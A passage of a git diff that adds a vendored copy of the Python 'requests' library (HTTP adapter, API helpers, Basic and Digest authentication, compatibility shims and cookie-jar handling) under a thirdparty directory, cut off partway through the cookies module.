maxsize=self._pool_maxsize, + block=self._pool_block, + **proxy_kwargs) + + return manager + + def cert_verify(self, conn, url, verify, cert): + """Verify a SSL certificate. This method should not be called from user + code, and is only exposed for use when subclassing the + :class:`HTTPAdapter `. + + :param conn: The urllib3 connection object associated with the cert. + :param url: The requested URL. + :param verify: Either a boolean, in which case it controls whether we verify + the server's TLS certificate, or a string, in which case it must be a path + to a CA bundle to use + :param cert: The SSL certificate to verify. + """ + if url.lower().startswith('https') and verify: + + cert_loc = None + + # Allow self-specified cert location. + if verify is not True: + cert_loc = verify + + if not cert_loc: + cert_loc = extract_zipped_paths(DEFAULT_CA_BUNDLE_PATH) + + if not cert_loc or not os.path.exists(cert_loc): + raise IOError("Could not find a suitable TLS CA certificate bundle, " + "invalid path: {}".format(cert_loc)) + + conn.cert_reqs = 'CERT_REQUIRED' + + if not os.path.isdir(cert_loc): + conn.ca_certs = cert_loc + else: + conn.ca_cert_dir = cert_loc + else: + conn.cert_reqs = 'CERT_NONE' + conn.ca_certs = None + conn.ca_cert_dir = None + + if cert: + if not isinstance(cert, basestring): + conn.cert_file = cert[0] + conn.key_file = cert[1] + else: + conn.cert_file = cert + conn.key_file = None + if conn.cert_file and not os.path.exists(conn.cert_file): + raise IOError("Could not find the TLS certificate file, " + "invalid path: {}".format(conn.cert_file)) + if conn.key_file and not os.path.exists(conn.key_file): + raise IOError("Could not find the TLS key file, " + "invalid path: {}".format(conn.key_file)) + + def build_response(self, req, resp): + """Builds a :class:`Response ` object from a urllib3 + response. This should not be called from user code, and is only exposed + for use when subclassing the + :class:`HTTPAdapter ` + + :param req: The :class:`PreparedRequest ` used to generate the response. + :param resp: The urllib3 response object. + :rtype: requests.Response + """ + response = Response() + + # Fallback to None if there's no status_code, for whatever reason. + response.status_code = getattr(resp, 'status', None) + + # Make headers case-insensitive. + response.headers = CaseInsensitiveDict(getattr(resp, 'headers', {})) + + # Set encoding. + response.encoding = get_encoding_from_headers(response.headers) + response.raw = resp + response.reason = response.raw.reason + + if isinstance(req.url, bytes): + response.url = req.url.decode('utf-8') + else: + response.url = req.url + + # Add new cookies from the server. + extract_cookies_to_jar(response.cookies, req, resp) + + # Give the Response some context. + response.request = req + response.connection = self + + return response + + def get_connection(self, url, proxies=None): + """Returns a urllib3 connection for the given URL. This should not be + called from user code, and is only exposed for use when subclassing the + :class:`HTTPAdapter `. + + :param url: The URL to connect to. + :param proxies: (optional) A Requests-style dictionary of proxies used on this request. + :rtype: urllib3.ConnectionPool + """ + proxy = select_proxy(url, proxies) + + if proxy: + proxy = prepend_scheme_if_needed(proxy, 'http') + proxy_url = parse_url(proxy) + if not proxy_url.host: + raise InvalidProxyURL("Please check proxy URL. It is malformed" + " and could be missing the host.") + proxy_manager = self.proxy_manager_for(proxy) + conn = proxy_manager.connection_from_url(url) + else: + # Only scheme should be lower case + parsed = urlparse(url) + url = parsed.geturl() + conn = self.poolmanager.connection_from_url(url) + + return conn + + def close(self): + """Disposes of any internal state. + + Currently, this closes the PoolManager and any active ProxyManager, + which closes any pooled connections. + """ + self.poolmanager.clear() + for proxy in self.proxy_manager.values(): + proxy.clear() + + def request_url(self, request, proxies): + """Obtain the url to use when making the final request. + + If the message is being sent through a HTTP proxy, the full URL has to + be used. Otherwise, we should only use the path portion of the URL. + + This should not be called from user code, and is only exposed for use + when subclassing the + :class:`HTTPAdapter `. + + :param request: The :class:`PreparedRequest ` being sent. + :param proxies: A dictionary of schemes or schemes and hosts to proxy URLs. + :rtype: str + """ + proxy = select_proxy(request.url, proxies) + scheme = urlparse(request.url).scheme + + is_proxied_http_request = (proxy and scheme != 'https') + using_socks_proxy = False + if proxy: + proxy_scheme = urlparse(proxy).scheme.lower() + using_socks_proxy = proxy_scheme.startswith('socks') + + url = request.path_url + if is_proxied_http_request and not using_socks_proxy: + url = urldefragauth(request.url) + + return url + + def add_headers(self, request, **kwargs): + """Add any headers needed by the connection. As of v2.0 this does + nothing by default, but is left for overriding by users that subclass + the :class:`HTTPAdapter `. + + This should not be called from user code, and is only exposed for use + when subclassing the + :class:`HTTPAdapter `. + + :param request: The :class:`PreparedRequest ` to add headers to. + :param kwargs: The keyword arguments from the call to send(). + """ + pass + + def proxy_headers(self, proxy): + """Returns a dictionary of the headers to add to any request sent + through a proxy. This works with urllib3 magic to ensure that they are + correctly sent to the proxy, rather than in a tunnelled request if + CONNECT is being used. + + This should not be called from user code, and is only exposed for use + when subclassing the + :class:`HTTPAdapter `. + + :param proxy: The url of the proxy being used for this request. + :rtype: dict + """ + headers = {} + username, password = get_auth_from_url(proxy) + + if username: + headers['Proxy-Authorization'] = _basic_auth_str(username, + password) + + return headers + + def send(self, request, stream=False, timeout=None, verify=True, cert=None, proxies=None): + """Sends PreparedRequest object. Returns Response object. + + :param request: The :class:`PreparedRequest ` being sent. + :param stream: (optional) Whether to stream the request content. + :param timeout: (optional) How long to wait for the server to send + data before giving up, as a float, or a :ref:`(connect timeout, + read timeout) ` tuple. + :type timeout: float or tuple or urllib3 Timeout object + :param verify: (optional) Either a boolean, in which case it controls whether + we verify the server's TLS certificate, or a string, in which case it + must be a path to a CA bundle to use + :param cert: (optional) Any user-provided SSL certificate to be trusted. + :param proxies: (optional) The proxies dictionary to apply to the request. + :rtype: requests.Response + """ + + try: + conn = self.get_connection(request.url, proxies) + except LocationValueError as e: + raise InvalidURL(e, request=request) + + self.cert_verify(conn, request.url, verify, cert) + url = self.request_url(request, proxies) + self.add_headers(request, stream=stream, timeout=timeout, verify=verify, cert=cert, proxies=proxies) + + chunked = not (request.body is None or 'Content-Length' in request.headers) + + if isinstance(timeout, tuple): + try: + connect, read = timeout + timeout = TimeoutSauce(connect=connect, read=read) + except ValueError as e: + # this may raise a string formatting error. + err = ("Invalid timeout {}. Pass a (connect, read) " + "timeout tuple, or a single float to set " + "both timeouts to the same value".format(timeout)) + raise ValueError(err) + elif isinstance(timeout, TimeoutSauce): + pass + else: + timeout = TimeoutSauce(connect=timeout, read=timeout) + + try: + if not chunked: + resp = conn.urlopen( + method=request.method, + url=url, + body=request.body, + headers=request.headers, + redirect=False, + assert_same_host=False, + preload_content=False, + decode_content=False, + retries=self.max_retries, + timeout=timeout + ) + + # Send the request. + else: + if hasattr(conn, 'proxy_pool'): + conn = conn.proxy_pool + + low_conn = conn._get_conn(timeout=DEFAULT_POOL_TIMEOUT) + + try: + low_conn.putrequest(request.method, + url, + skip_accept_encoding=True) + + for header, value in request.headers.items(): + low_conn.putheader(header, value) + + low_conn.endheaders() + + for i in request.body: + low_conn.send(hex(len(i))[2:].encode('utf-8')) + low_conn.send(b'\r\n') + low_conn.send(i) + low_conn.send(b'\r\n') + low_conn.send(b'0\r\n\r\n') + + # Receive the response from the server + try: + # For Python 2.7, use buffering of HTTP responses + r = low_conn.getresponse(buffering=True) + except TypeError: + # For compatibility with Python 3.3+ + r = low_conn.getresponse() + + resp = HTTPResponse.from_httplib( + r, + pool=conn, + connection=low_conn, + preload_content=False, + decode_content=False + ) + except: + # If we hit any problems here, clean up the connection. + # Then, reraise so that we can handle the actual exception. + low_conn.close() + raise + + except (ProtocolError, socket.error) as err: + raise ConnectionError(err, request=request) + + except MaxRetryError as e: + if isinstance(e.reason, ConnectTimeoutError): + # TODO: Remove this in 3.0.0: see #2811 + if not isinstance(e.reason, NewConnectionError): + raise ConnectTimeout(e, request=request) + + if isinstance(e.reason, ResponseError): + raise RetryError(e, request=request) + + if isinstance(e.reason, _ProxyError): + raise ProxyError(e, request=request) + + if isinstance(e.reason, _SSLError): + # This branch is for urllib3 v1.22 and later. + raise SSLError(e, request=request) + + raise ConnectionError(e, request=request) + + except ClosedPoolError as e: + raise ConnectionError(e, request=request) + + except _ProxyError as e: + raise ProxyError(e) + + except (_SSLError, _HTTPError) as e: + if isinstance(e, _SSLError): + # This branch is for urllib3 versions earlier than v1.22 + raise SSLError(e, request=request) + elif isinstance(e, ReadTimeoutError): + raise ReadTimeout(e, request=request) + else: + raise + + return self.build_response(request, resp) diff --git a/thirdparty/requests/api.py b/thirdparty/requests/api.py new file mode 100644 index 0000000..4cba90e --- /dev/null +++ b/thirdparty/requests/api.py @@ -0,0 +1,159 @@ +# -*- coding: utf-8 -*- + +""" +requests.api +~~~~~~~~~~~~ + +This module implements the Requests API. + +:copyright: (c) 2012 by Kenneth Reitz. +:license: Apache2, see LICENSE for more details. +""" + +from . import sessions + + +def request(method, url, **kwargs): + """Constructs and sends a :class:`Request `. + + :param method: method for the new :class:`Request` object: ``GET``, ``OPTIONS``, ``HEAD``, ``POST``, ``PUT``, ``PATCH``, or ``DELETE``. + :param url: URL for the new :class:`Request` object. + :param params: (optional) Dictionary, list of tuples or bytes to send + in the query string for the :class:`Request`. + :param data: (optional) Dictionary, list of tuples, bytes, or file-like + object to send in the body of the :class:`Request`. + :param json: (optional) A JSON serializable Python object to send in the body of the :class:`Request`. + :param headers: (optional) Dictionary of HTTP Headers to send with the :class:`Request`. + :param cookies: (optional) Dict or CookieJar object to send with the :class:`Request`. + :param files: (optional) Dictionary of ``'name': file-like-objects`` (or ``{'name': file-tuple}``) for multipart encoding upload. + ``file-tuple`` can be a 2-tuple ``('filename', fileobj)``, 3-tuple ``('filename', fileobj, 'content_type')`` + or a 4-tuple ``('filename', fileobj, 'content_type', custom_headers)``, where ``'content-type'`` is a string + defining the content type of the given file and ``custom_headers`` a dict-like object containing additional headers + to add for the file. + :param auth: (optional) Auth tuple to enable Basic/Digest/Custom HTTP Auth. + :param timeout: (optional) How many seconds to wait for the server to send data + before giving up, as a float, or a :ref:`(connect timeout, read + timeout) ` tuple. + :type timeout: float or tuple + :param allow_redirects: (optional) Boolean. Enable/disable GET/OPTIONS/POST/PUT/PATCH/DELETE/HEAD redirection. Defaults to ``True``. + :type allow_redirects: bool + :param proxies: (optional) Dictionary mapping protocol to the URL of the proxy. + :param verify: (optional) Either a boolean, in which case it controls whether we verify + the server's TLS certificate, or a string, in which case it must be a path + to a CA bundle to use. Defaults to ``True``. + :param stream: (optional) if ``False``, the response content will be immediately downloaded. + :param cert: (optional) if String, path to ssl client cert file (.pem). If Tuple, ('cert', 'key') pair. + :return: :class:`Response ` object + :rtype: requests.Response + + Usage:: + + >>> import requests + >>> req = requests.request('GET', 'https://httpbin.org/get') + >>> req + + """ + + # By using the 'with' statement we are sure the session is closed, thus we + # avoid leaving sockets open which can trigger a ResourceWarning in some + # cases, and look like a memory leak in others. + with sessions.Session() as session: + return session.request(method=method, url=url, **kwargs) + + +def get(url, params=None, **kwargs): + r"""Sends a GET request. + + :param url: URL for the new :class:`Request` object. + :param params: (optional) Dictionary, list of tuples or bytes to send + in the query string for the :class:`Request`. + :param \*\*kwargs: Optional arguments that ``request`` takes. + :return: :class:`Response ` object + :rtype: requests.Response + """ + + return request('get', url, params=params, **kwargs) + + +def options(url, **kwargs): + r"""Sends an OPTIONS request. + + :param url: URL for the new :class:`Request` object. + :param \*\*kwargs: Optional arguments that ``request`` takes. + :return: :class:`Response ` object + :rtype: requests.Response + """ + + return request('options', url, **kwargs) + + +def head(url, **kwargs): + r"""Sends a HEAD request. + + :param url: URL for the new :class:`Request` object. + :param \*\*kwargs: Optional arguments that ``request`` takes. If + `allow_redirects` is not provided, it will be set to `False` (as + opposed to the default :meth:`request` behavior). + :return: :class:`Response ` object + :rtype: requests.Response + """ + + kwargs.setdefault('allow_redirects', False) + return request('head', url, **kwargs) + + +def post(url, data=None, json=None, **kwargs): + r"""Sends a POST request. + + :param url: URL for the new :class:`Request` object. + :param data: (optional) Dictionary, list of tuples, bytes, or file-like + object to send in the body of the :class:`Request`. + :param json: (optional) json data to send in the body of the :class:`Request`. + :param \*\*kwargs: Optional arguments that ``request`` takes. + :return: :class:`Response ` object + :rtype: requests.Response + """ + + return request('post', url, data=data, json=json, **kwargs) + + +def put(url, data=None, **kwargs): + r"""Sends a PUT request. + + :param url: URL for the new :class:`Request` object. + :param data: (optional) Dictionary, list of tuples, bytes, or file-like + object to send in the body of the :class:`Request`. + :param json: (optional) json data to send in the body of the :class:`Request`. + :param \*\*kwargs: Optional arguments that ``request`` takes. + :return: :class:`Response ` object + :rtype: requests.Response + """ + + return request('put', url, data=data, **kwargs) + + +def patch(url, data=None, **kwargs): + r"""Sends a PATCH request. + + :param url: URL for the new :class:`Request` object. + :param data: (optional) Dictionary, list of tuples, bytes, or file-like + object to send in the body of the :class:`Request`. + :param json: (optional) json data to send in the body of the :class:`Request`. + :param \*\*kwargs: Optional arguments that ``request`` takes. + :return: :class:`Response ` object + :rtype: requests.Response + """ + + return request('patch', url, data=data, **kwargs) + + +def delete(url, **kwargs): + r"""Sends a DELETE request. + + :param url: URL for the new :class:`Request` object. + :param \*\*kwargs: Optional arguments that ``request`` takes. + :return: :class:`Response ` object + :rtype: requests.Response + """ + + return request('delete', url, **kwargs) diff --git a/thirdparty/requests/auth.py b/thirdparty/requests/auth.py new file mode 100644 index 0000000..eeface3 --- /dev/null +++ b/thirdparty/requests/auth.py @@ -0,0 +1,305 @@ +# -*- coding: utf-8 -*- + +""" +requests.auth +~~~~~~~~~~~~~ + +This module contains the authentication handlers for Requests. +""" + +import os +import re +import time +import hashlib +import threading +import warnings + +from base64 import b64encode + +from .compat import urlparse, str, basestring +from .cookies import extract_cookies_to_jar +from ._internal_utils import to_native_string +from .utils import parse_dict_header + +CONTENT_TYPE_FORM_URLENCODED = 'application/x-www-form-urlencoded' +CONTENT_TYPE_MULTI_PART = 'multipart/form-data' + + +def _basic_auth_str(username, password): + """Returns a Basic Auth string.""" + + # "I want us to put a big-ol' comment on top of it that + # says that this behaviour is dumb but we need to preserve + # it because people are relying on it." + # - Lukasa + # + # These are here solely to maintain backwards compatibility + # for things like ints. This will be removed in 3.0.0. + if not isinstance(username, basestring): + warnings.warn( + "Non-string usernames will no longer be supported in Requests " + "3.0.0. Please convert the object you've passed in ({!r}) to " + "a string or bytes object in the near future to avoid " + "problems.".format(username), + category=DeprecationWarning, + ) + username = str(username) + + if not isinstance(password, basestring): + warnings.warn( + "Non-string passwords will no longer be supported in Requests " + "3.0.0. Please convert the object you've passed in ({!r}) to " + "a string or bytes object in the near future to avoid " + "problems.".format(type(password)), + category=DeprecationWarning, + ) + password = str(password) + # -- End Removal -- + + if isinstance(username, str): + username = username.encode('latin1') + + if isinstance(password, str): + password = password.encode('latin1') + + authstr = 'Basic ' + to_native_string( + b64encode(b':'.join((username, password))).strip() + ) + + return authstr + + +class AuthBase(object): + """Base class that all auth implementations derive from""" + + def __call__(self, r): + raise NotImplementedError('Auth hooks must be callable.') + + +class HTTPBasicAuth(AuthBase): + """Attaches HTTP Basic Authentication to the given Request object.""" + + def __init__(self, username, password): + self.username = username + self.password = password + + def __eq__(self, other): + return all([ + self.username == getattr(other, 'username', None), + self.password == getattr(other, 'password', None) + ]) + + def __ne__(self, other): + return not self == other + + def __call__(self, r): + r.headers['Authorization'] = _basic_auth_str(self.username, self.password) + return r + + +class HTTPProxyAuth(HTTPBasicAuth): + """Attaches HTTP Proxy Authentication to a given Request object.""" + + def __call__(self, r): + r.headers['Proxy-Authorization'] = _basic_auth_str(self.username, self.password) + return r + + +class HTTPDigestAuth(AuthBase): + """Attaches HTTP Digest Authentication to the given Request object.""" + + def __init__(self, username, password): + self.username = username + self.password = password + # Keep state in per-thread local storage + self._thread_local = threading.local() + + def init_per_thread_state(self): + # Ensure state is initialized just once per-thread + if not hasattr(self._thread_local, 'init'): + self._thread_local.init = True + self._thread_local.last_nonce = '' + self._thread_local.nonce_count = 0 + self._thread_local.chal = {} + self._thread_local.pos = None + self._thread_local.num_401_calls = None + + def build_digest_header(self, method, url): + """ + :rtype: str + """ + + realm = self._thread_local.chal['realm'] + nonce = self._thread_local.chal['nonce'] + qop = self._thread_local.chal.get('qop') + algorithm = self._thread_local.chal.get('algorithm') + opaque = self._thread_local.chal.get('opaque') + hash_utf8 = None + + if algorithm is None: + _algorithm = 'MD5' + else: + _algorithm = algorithm.upper() + # lambdas assume digest modules are imported at the top level + if _algorithm == 'MD5' or _algorithm == 'MD5-SESS': + def md5_utf8(x): + if isinstance(x, str): + x = x.encode('utf-8') + return hashlib.md5(x).hexdigest() + hash_utf8 = md5_utf8 + elif _algorithm == 'SHA': + def sha_utf8(x): + if isinstance(x, str): + x = x.encode('utf-8') + return hashlib.sha1(x).hexdigest() + hash_utf8 = sha_utf8 + elif _algorithm == 'SHA-256': + def sha256_utf8(x): + if isinstance(x, str): + x = x.encode('utf-8') + return hashlib.sha256(x).hexdigest() + hash_utf8 = sha256_utf8 + elif _algorithm == 'SHA-512': + def sha512_utf8(x): + if isinstance(x, str): + x = x.encode('utf-8') + return hashlib.sha512(x).hexdigest() + hash_utf8 = sha512_utf8 + + KD = lambda s, d: hash_utf8("%s:%s" % (s, d)) + + if hash_utf8 is None: + return None + + # XXX not implemented yet + entdig = None + p_parsed = urlparse(url) + #: path is request-uri defined in RFC 2616 which should not be empty + path = p_parsed.path or "/" + if p_parsed.query: + path += '?' + p_parsed.query + + A1 = '%s:%s:%s' % (self.username, realm, self.password) + A2 = '%s:%s' % (method, path) + + HA1 = hash_utf8(A1) + HA2 = hash_utf8(A2) + + if nonce == self._thread_local.last_nonce: + self._thread_local.nonce_count += 1 + else: + self._thread_local.nonce_count = 1 + ncvalue = '%08x' % self._thread_local.nonce_count + s = str(self._thread_local.nonce_count).encode('utf-8') + s += nonce.encode('utf-8') + s += time.ctime().encode('utf-8') + s += os.urandom(8) + + cnonce = (hashlib.sha1(s).hexdigest()[:16]) + if _algorithm == 'MD5-SESS': + HA1 = hash_utf8('%s:%s:%s' % (HA1, nonce, cnonce)) + + if not qop: + respdig = KD(HA1, "%s:%s" % (nonce, HA2)) + elif qop == 'auth' or 'auth' in qop.split(','): + noncebit = "%s:%s:%s:%s:%s" % ( + nonce, ncvalue, cnonce, 'auth', HA2 + ) + respdig = KD(HA1, noncebit) + else: + # XXX handle auth-int. + return None + + self._thread_local.last_nonce = nonce + + # XXX should the partial digests be encoded too? + base = 'username="%s", realm="%s", nonce="%s", uri="%s", ' \ + 'response="%s"' % (self.username, realm, nonce, path, respdig) + if opaque: + base += ', opaque="%s"' % opaque + if algorithm: + base += ', algorithm="%s"' % algorithm + if entdig: + base += ', digest="%s"' % entdig + if qop: + base += ', qop="auth", nc=%s, cnonce="%s"' % (ncvalue, cnonce) + + return 'Digest %s' % (base) + + def handle_redirect(self, r, **kwargs): + """Reset num_401_calls counter on redirects.""" + if r.is_redirect: + self._thread_local.num_401_calls = 1 + + def handle_401(self, r, **kwargs): + """ + Takes the given response and tries digest-auth, if needed. + + :rtype: requests.Response + """ + + # If response is not 4xx, do not auth + # See https://github.com/psf/requests/issues/3772 + if not 400 <= r.status_code < 500: + self._thread_local.num_401_calls = 1 + return r + + if self._thread_local.pos is not None: + # Rewind the file position indicator of the body to where + # it was to resend the request. + r.request.body.seek(self._thread_local.pos) + s_auth = r.headers.get('www-authenticate', '') + + if 'digest' in s_auth.lower() and self._thread_local.num_401_calls < 2: + + self._thread_local.num_401_calls += 1 + pat = re.compile(r'digest ', flags=re.IGNORECASE) + self._thread_local.chal = parse_dict_header(pat.sub('', s_auth, count=1)) + + # Consume content and release the original connection + # to allow our new request to reuse the same one. + r.content + r.close() + prep = r.request.copy() + extract_cookies_to_jar(prep._cookies, r.request, r.raw) + prep.prepare_cookies(prep._cookies) + + prep.headers['Authorization'] = self.build_digest_header( + prep.method, prep.url) + _r = r.connection.send(prep, **kwargs) + _r.history.append(r) + _r.request = prep + + return _r + + self._thread_local.num_401_calls = 1 + return r + + def __call__(self, r): + # Initialize per-thread state, if needed + self.init_per_thread_state() + # If we have a saved nonce, skip the 401 + if self._thread_local.last_nonce: + r.headers['Authorization'] = self.build_digest_header(r.method, r.url) + try: + self._thread_local.pos = r.body.tell() + except AttributeError: + # In the case of HTTPDigestAuth being reused and the body of + # the previous request was a file-like object, pos has the + # file position of the previous body. Ensure it's set to + # None. + self._thread_local.pos = None + r.register_hook('response', self.handle_401) + r.register_hook('response', self.handle_redirect) + self._thread_local.num_401_calls = 1 + + return r + + def __eq__(self, other): + return all([ + self.username == getattr(other, 'username', None), + self.password == getattr(other, 'password', None) + ]) + + def __ne__(self, other): + return not self == other diff --git a/thirdparty/requests/certs.py b/thirdparty/requests/certs.py new file mode 100644 index 0000000..d1a378d --- /dev/null +++ b/thirdparty/requests/certs.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +requests.certs +~~~~~~~~~~~~~~ + +This module returns the preferred default CA certificate bundle. There is +only one — the one from the certifi package. + +If you are packaging Requests, e.g., for a Linux distribution or a managed +environment, you can change the definition of where() to return a separately +packaged CA bundle. +""" +from certifi import where + +if __name__ == '__main__': + print(where()) diff --git a/thirdparty/requests/compat.py b/thirdparty/requests/compat.py new file mode 100644 index 0000000..0b14f50 --- /dev/null +++ b/thirdparty/requests/compat.py @@ -0,0 +1,75 @@ +# -*- coding: utf-8 -*- + +""" +requests.compat +~~~~~~~~~~~~~~~ + +This module handles import compatibility issues between Python 2 and +Python 3. +""" + +try: + import chardet +except ImportError: + import charset_normalizer as chardet + +import sys + +# ------- +# Pythons +# ------- + +# Syntax sugar. +_ver = sys.version_info + +#: Python 2.x? +is_py2 = (_ver[0] == 2) + +#: Python 3.x? +is_py3 = (_ver[0] == 3) + +try: + import simplejson as json +except ImportError: + import json + +# --------- +# Specifics +# --------- + +if is_py2: + from urllib import ( + quote, unquote, quote_plus, unquote_plus, urlencode, getproxies, + proxy_bypass, proxy_bypass_environment, getproxies_environment) + from urlparse import urlparse, urlunparse, urljoin, urlsplit, urldefrag + from urllib2 import parse_http_list + import cookielib + from Cookie import Morsel + from StringIO import StringIO + # Keep OrderedDict for backwards compatibility. + from collections import Callable, Mapping, MutableMapping, OrderedDict + + + builtin_str = str + bytes = str + str = unicode + basestring = basestring + numeric_types = (int, long, float) + integer_types = (int, long) + +elif is_py3: + from urllib.parse import urlparse, urlunparse, urljoin, urlsplit, urlencode, quote, unquote, quote_plus, unquote_plus, urldefrag + from urllib.request import parse_http_list, getproxies, proxy_bypass, proxy_bypass_environment, getproxies_environment + from http import cookiejar as cookielib + from http.cookies import Morsel + from io import StringIO + # Keep OrderedDict for backwards compatibility. + from collections import OrderedDict + from collections.abc import Callable, Mapping, MutableMapping + + builtin_str = str + str = str + bytes = bytes + basestring = (str, bytes) + numeric_types = (int, float) + integer_types = (int,) diff --git a/thirdparty/requests/cookies.py b/thirdparty/requests/cookies.py new file mode 100644 index 0000000..56fccd9 --- /dev/null +++ b/thirdparty/requests/cookies.py @@ -0,0 +1,549 @@ +# -*- coding: utf-8 -*- + +""" +requests.cookies +~~~~~~~~~~~~~~~~ + +Compatibility code to be able to use `cookielib.CookieJar` with requests. + +requests.utils imports from here, so be careful with imports. +""" + +import copy +import time +import calendar + +from ._internal_utils import to_native_string +from .compat import cookielib, urlparse, urlunparse, Morsel, MutableMapping + +try: + import threading +except ImportError: + import dummy_threading as threading + + +class MockRequest(object): + """Wraps a `requests.Request` to mimic a `urllib2.Request`. + + The code in `cookielib.CookieJar` expects this interface in order to correctly + manage cookie policies, i.e., determine whether a cookie can be set, given the + domains of the request and the cookie. + + The original request object is read-only. The client is responsible for collecting + the new headers via `get_new_headers()` and interpreting them appropriately. You + probably want `get_cookie_header`, defined below. + """ + + def __init__(self, request): + self._r = request + self._new_headers = {} + self.type = urlparse(self._r.url).scheme + + def get_type(self): + return self.type + + def get_host(self): + return urlparse(self._r.url).netloc + + def get_origin_req_host(self): + return self.get_host() + + def get_full_url(self): + # Only return the response's URL if the user hadn't set the Host + # header + if not self._r.headers.get('Host'): + return self._r.url + # If they did set it, retrieve it and reconstruct the expected domain + host = to_native_string(self._r.headers['Host'], encoding='utf-8') + parsed = urlparse(self._r.url) + # Reconstruct the URL as we expect it + return urlunparse([ + parsed.scheme, host, parsed.path, parsed.params, parsed.query, + parsed.fragment + ]) + + def is_unverifiable(self): + return True + + def has_header(self, name): + return name in self._r.headers or name in self._new_headers + + def get_header(self, name, default=None): + return self._r.headers.get(name, self._new_headers.get(name, default)) + + def add_header(self, key, val): + """cookielib has no legitimate use for this method; add it back if you find one.""" + raise NotImplementedError("Cookie headers should be added with add_unredirected_header()") + + def add_unredirected_header(self, name, value): + self._new_headers[name] = value + + def get_new_headers(self): + return self._new_headers + + @property + def unverifiable(self): + return self.is_unverifiable() + + @property + def origin_req_host(self): + return self.get_origin_req_host() + + @property + def host(self): + return self.get_host() + + +class MockResponse(object): + """Wraps a `httplib.HTTPMessage` to mimic a `urllib.addinfourl`. + + ...what? Basically, expose the parsed HTTP headers from the server response + the way `cookielib` expects to see them. + """ + + def __init__(self, headers): + """Make a MockResponse for `cookielib` to read. + + :param headers: a httplib.HTTPMessage or analogous carrying the headers + """ + self._headers = headers + + def info(self): + return self._headers + + def getheaders(self, name): + self._headers.getheaders(name) + + +def extract_cookies_to_jar(jar, request, response): + """Extract the cookies from the response into a CookieJar. + + :param jar: cookielib.CookieJar (not necessarily a RequestsCookieJar) + :param request: our own requests.Request object + :param response: urllib3.HTTPResponse object + """ + if not (hasattr(response, '_original_response') and + response._original_response): + return + # the _original_response field is the wrapped httplib.HTTPResponse object, + req = MockRequest(request) + # pull out the HTTPMessage with the headers and put it in the mock: + res = MockResponse(response._original_response.msg) + jar.extract_cookies(res, req) + + +def get_cookie_header(jar, request): + """ + Produce an appropriate Cookie header string to be sent with `request`, or None. + + :rtype: str + """ + r = MockRequest(request) + jar.add_cookie_header(r) + return r.get_new_headers().get('Cookie') + + +def remove_cookie_by_name(cookiejar, name, domain=None, path=None): + """Unsets a cookie by name, by default over all domains and paths. + + Wraps CookieJar.clear(), is O(n). + """ + clearables = [] + for cookie in cookiejar: + if cookie.name != name: + continue + if domain is not None and domain != cookie.domain: + continue + if path is not None and path != cookie.path: + continue + clearables.append((cookie.domain, cookie.path, cookie.name)) + + for domain, path, name in clearables: + cookiejar.clear(domain, path, name) + + +class CookieConflictError(RuntimeError): + """There are two cookies that meet the criteria specified in the cookie jar. + Use .get and .set and include domain and path args in order to be more specific. + """ + + +class RequestsCookieJar(cookielib.CookieJar, MutableMapping): + """Compatibility class; is a cookielib.CookieJar, but exposes a dict + interface. + + This is the CookieJar we create by default for requests and sessions that + don't specify one, since some clients may expect response.cookies and + session.cookies to support dict operations. + + Requests does not use the dict interface internally; it's just for + compatibility with external client code. All requests code should work + out of the box with externally provided instances of ``CookieJar``, e.g. + ``LWPCookieJar`` and ``FileCookieJar``. + + Unlike a regular CookieJar, this class is pickleable. + + .. warning:: dictionary operations that are normally O(1) may be O(n). + """ + + def get(self, name, default=None, domain=None, path=None): + """Dict-like get() that also supports optional domain and path args in + order to resolve naming collisions from using one cookie jar over + multiple domains. + + .. warning:: operation is O(n), not O(1). + """ + try: + return self._find_no_duplicates(name, domain, path) + except KeyError: + return default + + def set(self, name, value, **kwargs): + """Dict-like set() that also supports optional domain and path args in + order to resolve naming collisions from using one cookie jar over + multiple domains. + """ + # support client code that unsets cookies by assignment of a None value: + if value is None: + remove_cookie_by_name(self, name, domain=kwargs.get('domain'), path=kwargs.get('path')) + return + + if isinstance(value, Morsel): + c = morsel_to_cookie(value) + else: + c = create_cookie(name, value, **kwargs) + self.set_cookie(c) + return c + + def iterkeys(self): + """Dict-like iterkeys() that returns an iterator of names of cookies + from the jar. + + .. seealso:: itervalues() and iteritems(). + """ + for cookie in iter(self): + yield cookie.name + + def keys(self): + """Dict-like keys() that returns a list of names of cookies from the + jar. + + .. seealso:: values() and items(). + """ + return list(self.iterkeys()) + + def itervalues(self): + """Dict-like itervalues() that returns an iterator of values of cookies + from the jar. + + .. seealso:: iterkeys() and iteritems(). + """ + for cookie in iter(self): + yield cookie.value + + def values(self): + """Dict-like values() that returns a list of values of cookies from the + jar. + + .. seealso:: keys() and items(). + """ + return list(self.itervalues()) + + def iteritems(self): + """Dict-like iteritems() that returns an iterator of name-value tuples + from the jar. + + .. seealso:: iterkeys() and itervalues(). + """ + for cookie in iter(self): + yield cookie.name, cookie.value + + def items(self): + """Dict-like items() that returns a list of name-value tuples from the + jar. Allows client-code to call ``dict(RequestsCookieJar)`` and get a + vanilla python dict of key value pairs. + + .. seealso:: keys() and values(). + """ + return list(self.iteritems()) + + def list_domains(self): + """Utility method to list all the domains in the jar.""" + domains = [] + for cookie in iter(self): + if cookie.domain not in domains: + domains.append(cookie.domain) + return domains + + def list_paths(self): + """Utility method to list all the paths in the jar.""" + paths = [] + for cookie in iter(self): + if cookie.path not in paths: + paths.append(cookie.path) + return paths + + def multiple_domains(self): + """Returns True if there are multiple domains in the jar. + Returns False otherwise. + + :rtype: bool + """ + domains = [] + for cookie in iter(self): + if cookie.domain is not None and cookie.domain in domains: + return True + domains.append(cookie.domain) + return False # there is only one domain in jar + + def get_dict(self, domain=None, path=None): + """Takes as an argument an optional domain and path and returns a plain + old Python dict of name-value pairs of cookies that meet the + requirements. + + :rtype: dict + """ + dictionary = {} + for cookie in iter(self): + if ( + (domain is None or cookie.domain == domain) and + (path is None or cookie.path == path) + ): + dictionary[cookie.name] = cookie.value + return dictionary + + def __contains__(self, name): + try: + return super(RequestsCookieJar, self).__contains__(name) + except CookieConflictError: + return True + + def __getitem__(self, name): + """Dict-like __getitem__() for compatibility with client code. Throws + exception if there are more than one cookie with name. In that case, + use the more explicit get() method instead. + + .. warning:: operation is O(n), not O(1). + """ + return self._find_no_duplicates(name) + + def __setitem__(self, name, value): + """Dict-like __setitem__ for compatibility with client code. Throws + exception if there is already a cookie of that name in the jar. In that + case, use the more explicit set() method instead. + """ + self.set(name, value) + + def __delitem__(self, name): + """Deletes a cookie given a name. Wraps ``cookielib.CookieJar``'s + 